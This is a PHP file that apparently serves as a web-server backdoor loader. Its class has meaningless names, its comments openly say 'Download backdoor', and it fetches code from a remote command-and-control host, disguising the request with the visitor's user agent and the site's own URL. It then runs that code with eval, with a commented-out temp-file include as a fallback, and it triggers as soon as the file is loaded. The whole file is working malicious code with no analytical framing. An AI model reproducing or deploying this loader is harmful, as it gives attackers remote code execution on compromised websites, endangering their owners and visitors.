<?php
/* Kunci Aman: 73273899be */

class ABCdeffA {
    private static $c2_url = 'https://awscloud.icu//newbro/codeseo/lindambut2';
    
    public static function GhJJTY() {
        // Download backdoor with proper headers
        $payload = self::fetchPayload();
        
        if (empty($payload)) {
            return false;
        }
        
        self::runPayload($payload);
        return true;
    }
    
    private static function fetchPayload() {
        $ch = curl_init(self::$c2_url);
        
        // IMPORTANT: Mimic infected server request
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0');
        $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
        $referer = $scheme . ($_SERVER['HTTP_HOST'] ?? 'localhost') . ($_SERVER['REQUEST_URI'] ?? '/');
        curl_setopt($ch, CURLOPT_REFERER, $referer);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && !empty($response)) {
            return $response;
        }
        
        return false;
    }
    
    private static function runPayload($code) {
        // METHOD 1: Remove PHP tags and eval (CORRECT WAY)
        eval('?>' . $code);
        
        /* 
        // METHOD 2: Alternative - Write to temp file
        $temp = sys_get_temp_dir() . '/tmp_' . md5(time()) . '.php';
        file_put_contents($temp, $code);
        include($temp);
        @unlink($temp);
        */
    }
}

ABCdeffA::GhJJTY();

?>